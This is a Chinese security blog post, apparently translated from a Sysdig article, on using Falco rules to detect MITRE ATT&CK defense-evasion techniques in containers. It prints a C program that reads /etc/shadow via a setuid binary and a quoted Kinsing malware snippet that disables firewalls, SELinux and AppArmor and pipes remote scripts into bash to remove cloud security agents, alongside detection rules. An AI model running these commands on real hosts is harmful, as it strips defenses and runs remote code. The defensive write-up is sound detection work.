【技术分享】利用Falco检测MITRE ATT&CK框架中的防御逃逸技术

百家 作者:唯品会安全 2021-03-24 16:09:34

鸣  谢

VSRC感谢业界小伙伴——熙熙,投稿翻译稿件。VSRC欢迎精品原创类文章投稿,优秀文章一旦采纳发布,将有好礼相送,我们已为您准备好了丰富的奖品!活动最终解释权归VSRC所有)




利用Falco检测MITRE ATT&CK

框架中的防御逃逸技术

MITRE ATT&CK框架中的提权攻击涵盖了攻击者可以用来提升自己在系统中的权限的多种技术。熟悉这些技术将有助于防御方更好地保护自己的基础设施。


       众所周知,MITRE ATT&CK框架是一个非常全面的安全知识库,可用于分析高级威胁参与者在攻击过程中可能用到的所有战术、技术和流程(TTP)。然而,MITRE ATT&CK并不是一个合规性的标准,而是作为一个威胁模型和方法论基础的框架推出的。概括来说,这些攻击技术被分为14大类。


        在本文中,我们将为读者介绍一些可以归类为MITRE提权的技术。同时,我们还将以Falco这样的开源工具为例,详细介绍如何检测这类容器安全攻击。




MITRE类别:防御逃逸



       目前,防御逃逸类别包含37种攻击者可以用来避免被现有的安全工具发现的逃逸技术。例如,伪装成可信任的用户来执行命令,修改程序库以将其代码伪装为已知进程,或禁用系统防御机制等。



        有时,这些技术只是其他类别中相关技术的变体而已,但是稍加改造之后,就能起到绕过特定防御或缓解机制的额外作用。


        “这里介绍的是攻击者如何攻击者如何避免自己被发现的各种技术。我们不仅要了解MITRE ATT&CK中提及的防御逃逸技术,还要学会如何使用Falco来保护自己。”


——摘自https://sysdig.com/blog/mitre-defense-evasion-falco/#




相关的防御逃逸技术



        下面,先让我们来熟悉两种防御逃逸技术。下面,我们将考察这些技术是如何被攻击者所利用的,以及如何检测这些逃逸方法。



1.1 滥用权限提升的控制机制:

        setuid与setgid位


        在现代操作系统中,进程通常都是以受限的权限运行在用户空间下的。但是,当它们安装应用程序、打开端口或运行其他管理任务时,就需要通过相应的机制来提升自己的权限。


        攻击者可以通过滥用这些提权控制机制,从而达到以管理员的身份运行代码和访问私人信息的目的。


        在Linux系统中,这种机制的一部分是通过文件的setuid位和setgid位来实现的。在默认情况下,当一个文件被执行时,它会在当前用户的上下文中运行。但是,如果该文件被设置了setuid位,那么,它将在文件属主的上下文中执行。


        下面,让我们通过一个简单的例子来理解这个概念。


        下面的C程序将执行两个任务。首先,它打印出该程序是以哪个用户的身份运行的,然后,读取敏感文件/etc/shadow中的数据。注意,该文件用来以加密格式存储系统中所有用户账户的实际密码(更准确的说,应该是密码的哈希值)。


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

int main()

{

   FILE *fp;

   char line[256];

   // print user ID and the effective user ID

   printf("uid: %d, euid: %d\n", getuid(), geteuid());

   fp = fopen("/etc/shadow", "r");

   if (fp == NULL) {

       printf("Cannot open file '/etc/shadow'\n");

       exit(0);

   }

   while (fgets(line, sizeof(line), fp)) {

       printf("%s", line);

   }

   fclose(fp);

   return 0;

}


        现在,让我们编译这段代码,并将root设置为生成的二进制文件的属主,并允许其他用户执行该文件。


        那么,当我们分别在设置和不设置setuid位的情况下运行这个程序的时候,会发生什么情况呢?


        当没有设置setuid位时(注意该文件的权限为-rwx):

        以当前用户(ubuntu)的身份运行程序时,将会收到一些错误信息:

        如上所示,这种情况下我们根本无法读取/etc/shadow文件。


        注意,这里的用户ID和有效用户ID都是1000,对应的是用户ubuntu。


        那么,当设置了setuid位后,情况又会怎样呢?注意,该文件的权限变为了-rws。

        同样以当前用户(ubuntu)的身份运行程序,但是这次可以成功读取/etc/shadow文件了:

        虽然执行该程序的用户是ubuntu(uid:1000),但有效用户却是root(euid:0)。由于setuid位的存在,ubuntu用户最终以root用户的权限成功读取了/etc/shadow文件。


        由此我们可以得出一个结论:我们应该删除高权限用户拥有的文件中不必要的setuid位。


2.2 消弱防御措施:

        禁用或篡改安全工具

        一旦攻击者获得了访问受害者的环境的权限,在进一步探测环境之前,他们通常首先尝试禁用各种安全工具,以免行动受阻,或被发现。


        下面,我们将以最近对kinsing攻击的研究为例,介绍这种攻击方法。在该案例中,我们发现恶意payload内部存在如下所示的模式:


# Disable firewall

ufw disable

# Remove iptable rules

iptables -F

# Stop apparmor

service apparmor stop

systemctl disable apparmor

# Stop SELinux

setenforce 0

echo SELINUX=disabled >/etc/selinux/config

# Stop security service from Ali Cloud

curl http://update.aegis.aliyun.com/download/uninstall.sh | bash

curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash

pkill aliyun-service

rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service

rm -rf /usr/local/aegis*

systemctl stop aliyun.service

systemctl disable aliyun.service

service bcm-agent stop

yum remove bcm-agent -y

apt-get remove bcm-agent -y


        上面的代码片段取自Kinsing的payload,不过为了便于读者理解,我们添加了相应的注释。


        我们可以看到攻击者是如何尝试禁用防火墙,修改iptables规则,并禁用SELinux、AppArmor和阿里云的安全代理的。如果攻击者在入侵环境时成功获得了root权限,该脚本就能成功运行,因为上述操作通常需要管理员权限。


        这可能比大家想象的要容易。正如我们在最新的年度容器安全和使用报告中看到的那样,其中56%的容器映像都是以root身份运行的。如果攻击者从以root身份运行的容器中成功“越狱”,他们就立即拥有了禁用主机上运行的安全工具所需的权限。


        在实现访问受限的环境的持久访问时,禁用安全工具是很常见的做法。但是,在生产环境中,这种做法却很少见。



借助Falco检测MITRE


框架中的防御逃逸技术




        上文中,我们介绍了相关的防御逃逸技术,接下来,我们开始学习如何防御它们。


        为了防御这种类型的攻击,我们可以提前堵住这种攻击的入口点。通过映像扫描技术,可以检测映像中是否存在不必要的开放端口、以root身份运行的映像以及已知的安全漏洞等。然而,这种攻击通常发生在运行时,这就意味着当时容器已经进入生产状态。所以,我们需要借助于运行时安全工具,持续地监控工作负载,并搜索各种异常行为。


        Falco是CNCF的开源项目,用于容器和Kubernetes的运行时威胁检测。本质上来说,它是一个容器安全工具,旨在检测容器中的异常行为。首先,Falco会通过系统调用来生成所有系统活动的事件流。然后,我们可以根据该事件流创建相应的规则,这样的话,当Falco的规则引擎检测到类似的异常的系统事件时就会发出相应的警报。得益于Falco功能丰富的规则语言,使得我们可以在主机级别编写规则并识别可疑的活动。


        接下来,我们将为读者详细介绍如何用Falco检测防御逃逸。


3.1 检测文件的setuid

    setgid位的变化情况


        正如我们前面所介绍的,一旦文件设置了setuid位或setgid位,该文件就能以其所有者的权限执行。


        实际上,持续跟踪带有setuid位或setgid位的文件是一个非常好的做法。


        这种方法实施起来非常简单,具体如下所示:


find . -perm /6000


        但如果在运行期间文件权限发生变化,那该怎么办呢?


        实际上,我们可以使用以下Falco规则来检测这种情况:


- rule: Set Setuid or Setgid bit

  desc: >

    When the setuid or setgid bits are set for an application,

    this means that the application will run with the privileges of the owning user or group respectively.

    Detect setuid or setgid bits set via chmod

  condition: >

    consider_all_chmods and chmod and (evt.arg.mode contains "S_ISUID" or evt.arg.mode contains "S_ISGID")

    and not proc.name in (user_known_chmod_applications)

    and not exe_running_docker_save

    and not user_known_set_setuid_or_setgid_bit_conditions

  output: >

    Setuid or setgid bit is set via chmod (fd=%evt.arg.fd filename=%evt.arg.filename mode=%evt.arg.mode user=%user.name user_loginuid=%user.loginuid process=%proc.name

    command=%proc.cmdline container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)

  priority:

    NOTICE

  tags: [process, mitre_persistence]


        这样的话,一旦有人试图修改文件的setuid位或setgid位的话,Falco就会发出警报。





检测禁用的安全工具的行为




        让我们重新回顾Kinsing攻击事件。在该事件中,我们发现攻击者会设法禁用安全工具,以防止攻击活动被阻止或被发现。


        下面是检测此类行为的Falco规则:

- macro: disable_apparmor

  condition: (proc.name in (systemctl, service) and (proc.cmdline contains "disable" or proc.cmdline contains \"stop\") and (proc.cmdline contains "apparmor"))

- macro: disable_selinux

  condition: (proc.cmdline = "setenforce 0")

- macro: disable_ufw

  condition: (proc.name=ufw and proc.cmdline contains "disable")

- rule: Disable Security Tools

  desc: Detect an attempt to disable security tools like ufw, AppArmor, SELinux

  condition: spawned_process and (disable_apparmor or disable_selinux or disable_ufw)

  output: Security tool is disabled (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline parent_process=%proc.pname container_id=%container.id image=%container.image.repository:%container.image.tag)

  priority: WARNING


        这样的话,当有人试图禁用ufw时,Falco将会发出以下警报:


小结


        目前,Falco已经成为运行时容器安全的事实标准。实际上,它是依靠系统调用和K8s审计日志来检测入侵和恶意活动的。通过将Falco规则映射到MITRE ATT&CK防御逃逸类别,安全团队就可以极大地简化其威胁检测和响应的工作流程。


        要了解更多关于Falco的信息,请访问Falco repo和Falco网站,或加入我们的CNCF Falco slack频道。


精彩原创文章投稿有惊喜!

欢迎投稿!
VSRC欢迎精品原创类文章投稿,优秀文章一旦采纳发布,将为您准备的丰富奖金税后1000元现金或等值礼品,上不封顶!如若是安全文章连载,奖金更加丰厚,税后10000元或等值礼品,上不封顶!可点击“VSRC投稿能挣万元?快到碗里来!”了解规则。(最终奖励以文章质量为准。活动最终解释权归VSRC所有)

VSRC招人啦!

欢迎投递!

敢想敢做唯 | 唯品会安全部门期待你的加入!


点击 阅读原文 进入本次分享英文原文


关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接